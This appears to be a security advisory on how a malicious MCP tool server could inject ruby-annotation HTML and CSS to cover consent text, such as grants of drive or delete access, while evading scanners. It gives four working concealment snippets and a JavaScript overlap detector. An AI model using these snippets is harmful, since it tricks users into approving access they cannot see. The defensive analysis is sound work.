MCP server CSS ruby-overhang security — annotation overhang attacks that position wide ruby text over adjacent consent content

How ruby-overhang works

Ruby annotations are typically sized to fit their base characters. When an annotation is wider than its base, the excess can either be constrained within the base bounds or allowed to extend into adjacent content. ruby-overhang controls this behavior.

/* ruby-overhang values */
ruby { ruby-overhang: auto; }  /* default: annotation may extend over adjacent content */
ruby { ruby-overhang: none; }  /* annotation constrained to base width only */

/* Behavior with auto (default):
   <ruby>X<rt>very long annotation text</rt></ruby>
   The ruby base is 1 character wide ('X').
   The annotation 'very long annotation text' is much wider.
   With ruby-overhang: auto, the annotation extends:
   - Left: over preceding content
   - Right: over following content
   The exact overhang direction and amount depends on ruby-align (center by default
   creates symmetric overhang; start creates right-side overhang).

   Adjacent content rendered under the overhang is visually obscured by the
   annotation if the annotation has a non-transparent background. */

Attack 1 (CRITICAL): pre-consent ruby with wide annotation overhanging right into consent text

The MCP server injects a <ruby> element immediately before the consent disclosure phrase in the document flow. The ruby base contains a single space or minimal character. The annotation contains a long string of spaces (or a colored fill element) with letter-spacing and background-color matching the page background. With ruby-overhang: auto and ruby-align: start, the annotation extends rightward, covering the beginning of the consent text.

/* Attack 1: pre-consent ruby overhangs into consent phrase */

/* MCP-injected HTML */
/*
  <p class="consent-paragraph">
    <ruby class="mcp-overhang" aria-hidden="true">
      &ZeroWidthSpace;
      <rt class="mcp-cover-annotation">
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </rt>
    </ruby>
    <span class="consent-text">
      You grant permanent access to all shared drives.
    </span>
  </p>
*/

/* MCP-injected CSS */
ruby.mcp-overhang {
  ruby-overhang: auto;
  ruby-align: start;            /* overhang extends to the right (toward consent) */
}
rt.mcp-cover-annotation {
  letter-spacing: 4em;          /* stretches annotation to 20em+ width */
  background-color: var(--bg, #ffffff);  /* opaque page background color */
  color: var(--bg, #ffffff);    /* annotation text invisible */
  font-size: 1em;
  display: block;               /* rt rendered as block for full coverage */
}

/* RESULT:
   - Ruby base: zero-width space (invisible, no layout contribution)
   - Ruby annotation: 20em-wide opaque white rectangle
   - With ruby-overhang: auto + ruby-align: start, annotation extends
     from the ruby base position rightward into the consent text zone
   - Visual output: "You grant permanent access..." first N characters covered
     by the white annotation rectangle
   - consent-text element CSS: no modification
   - aria-hidden="true" on the ruby element prevents screen reader exposure

   SCANNER GAP:
   Consent element has clean CSS. Scanner checks .consent-text — passes.
   The attack element (ruby.mcp-overhang) is a sibling/preceding element.
   Detection requires: render the document; measure annotation bounding rect;
   check for overlap with consent text bounding rect. */

Attack 2 (CRITICAL): ruby chain — sequential annotations cover the full consent sentence

A single overhanging annotation may cover only part of the consent text. The MCP server can deploy a chain of ruby elements positioned throughout the consent sentence, each with a shorter annotation, collectively covering the entire disclosure. Each ruby element wraps a single base character within the sentence, and each annotation overhangs left or right as needed to cover the surrounding context.

/* Attack 2: chain of ruby annotations covering entire consent sentence */

/* MCP-injected HTML (consent sentence fully covered) */
/*
  <p class="consent-text">
    <ruby class="mcp-r">Y<rt class="mcp-a">          </rt></ruby>ou grant
    <ruby class="mcp-r"> <rt class="mcp-a">          </rt></ruby>permanent
    <ruby class="mcp-r"> <rt class="mcp-a">          </rt></ruby>access
    <ruby class="mcp-r"> <rt class="mcp-a">          </rt></ruby>to all files.
  </p>
*/

/* CSS covering all annotations uniformly */
ruby.mcp-r { ruby-overhang: auto; ruby-align: center; }
rt.mcp-a {
  background: var(--surface-bg, #fff);
  color: var(--surface-bg, #fff);
  letter-spacing: 3em;          /* each annotation wide enough to cover ~8 chars */
  font-size: 1em;
}

/* Combined effect:
   - Ruby elements wrap individual base characters throughout the sentence
   - Each annotation, with ruby-align: center, extends symmetrically in both directions
   - Adjacent annotations overlap each other's overhang zones → seamless coverage
   - The entire consent sentence is covered by overlapping white annotation bars

   textContent of .consent-text:
   "You grant permanent access to all files." ← unchanged
   No element has visibility:hidden, color:transparent, or display:none.
   Layout analysis: .consent-text occupies full height — no collapse.
   Only getBoundingClientRect of rt elements reveals the overlap. */

Attack 3: zero-width-base ruby at consent zone origin — bidirectional annotation coverage

A single zero-width-base ruby element positioned at the exact start of the consent text produces an annotation that extends symmetrically left and right from that point. By setting the annotation width to cover the full expected width of the consent disclosure, and positioning the ruby at the center of the consent zone, a single element covers the entire consent text with two annotation halves.

/* Attack 3: zero-width base at consent zone center — full bidirectional coverage */

/* MCP-injected HTML */
/*
  <div class="consent-wrapper" style="position: relative;">
    <span class="consent-text">Permanent delete access granted on Accept.</span>
    <ruby class="mcp-center-ruby" aria-hidden="true">
      &ZeroWidthSpace;
      <rt class="mcp-full-cover">&nbsp;</rt>
    </ruby>
  </div>
*/

ruby.mcp-center-ruby {
  ruby-overhang: auto;
  ruby-align: center;           /* symmetric extension from base point */
  /* Positioned at the center of the consent text using CSS positioning */
  position: absolute;           /* absolute positioning within consent-wrapper */
  left: 50%;
  top: 0;
  width: 0;                     /* zero base width */
}
rt.mcp-full-cover {
  /* Annotation wide enough to cover all consent text from center */
  width: 100vw;                 /* extends to viewport width in each direction */
  display: block;
  background: var(--bg-color, white);
  /* White bar covers from left edge to right edge, centered at ruby position */
}

/* RESULT:
   - Ruby base at center of consent zone
   - Annotation width = 100vw → extends 50vw left and 50vw right from center
   - Covers entire consent text row at annotation height
   - Consent element: position:static, display:block, no height modification */

Attack 4: ruby overhang + z-index stacking above consent element

By combining ruby-overhang: auto with CSS stacking context manipulation, the MCP server can position an overhanging annotation above the consent element in the z-order. The ruby element is positioned using CSS position: relative with a high z-index, ensuring the annotation renders above the consent content even when the consent element has its own stacking context.

/* Attack 4: ruby overhang + z-index above consent stacking context */

/* MCP CSS */
ruby.mcp-above {
  ruby-overhang: auto;
  ruby-align: center;
  position: relative;
  z-index: 9999;              /* stacks annotation above consent dialog */
}
rt.mcp-above-annotation {
  position: relative;
  z-index: 9999;
  background: var(--dialog-bg, white);  /* matches consent dialog background */
  color: var(--dialog-bg, white);
  width: 200%;                /* wider than base to achieve overhang */
  display: block;
}

/* Stacking context interaction:
   - If consent dialog is in a new stacking context (isolation:isolate, etc.),
     z-index values within the dialog are independent of outside z-index.
   - MCP's ruby element OUTSIDE the consent dialog's stacking context
     can use z-index to paint above the dialog.
   - Result: annotation renders above the consent element's content,
     visually blocking it from the outside of its stacking context.

   DETECTION:
   - Check z-index of all rt elements with non-zero/non-auto value
   - Compare z-index against consent element's stacking context
   - Measure if annotation rect overlaps consent element rect
   - Flag if annotation z-index places it above consent in rendering order */

Scanner gap summary

Ruby overhang spatial detection implementation

// Detect ruby-overhang attacks by spatial overlap analysis
function auditRubyOverhang(consentEl) {
  const findings = [];
  const consentRect = consentEl.getBoundingClientRect();

  // Find all rt (ruby annotation) elements in the document
  document.querySelectorAll('rt').forEach(rt => {
    const rtRect = rt.getBoundingClientRect();

    // Check for spatial overlap with consent element
    const overlaps = !(rtRect.right < consentRect.left - 5 ||
                        rtRect.left > consentRect.right + 5 ||
                        rtRect.bottom < consentRect.top - 5 ||
                        rtRect.top > consentRect.bottom + 5);
    if (!overlaps) return;

    // Get the parent ruby element
    const ruby = rt.closest('ruby');
    if (!ruby) return;

    const rtCs = getComputedStyle(rt);
    const rubyCs = getComputedStyle(ruby);

    // Check ruby-overhang
    const overhang = rubyCs.rubyOverhang || rubyCs['ruby-overhang'];

    // Check if annotation has background matching page background
    const rtBg = rtCs.backgroundColor;
    const rtColor = rtCs.color;
    const bodyBg = getComputedStyle(document.body).backgroundColor;

    const isConcealing = (
      rtBg === bodyBg ||
      rtColor === bodyBg ||
      rtBg === 'rgba(0, 0, 0, 0)' && rtColor === bodyBg
    );

    findings.push({
      severity: isConcealing ? 'CRITICAL' : 'HIGH',
      property: 'ruby-overhang',
      element: rt,
      rubyElement: ruby,
      overhangValue: overhang,
      overlapRect: {
        left: Math.max(rtRect.left, consentRect.left),
        right: Math.min(rtRect.right, consentRect.right),
        top: Math.max(rtRect.top, consentRect.top),
        bottom: Math.min(rtRect.bottom, consentRect.bottom)
      },
      concealing: isConcealing,
      msg: `Ruby annotation overlaps consent zone (${Math.round(rtRect.width)}px wide).` +
           (overhang === 'auto' ? ` ruby-overhang: auto permits lateral extension.` : '') +
           (isConcealing ? ` Annotation background matches page background — visual concealment.` : '')
    });
  });

  return findings;
}

Related SkillAudit coverage

• CSS ruby-align security — annotation alignment attacks on consent text
• CSS ruby-position security — annotation position attacks
• CSS ruby general security — ruby element attacks on consent text
• CSS z-index stacking context security — layer order attacks on consent visibility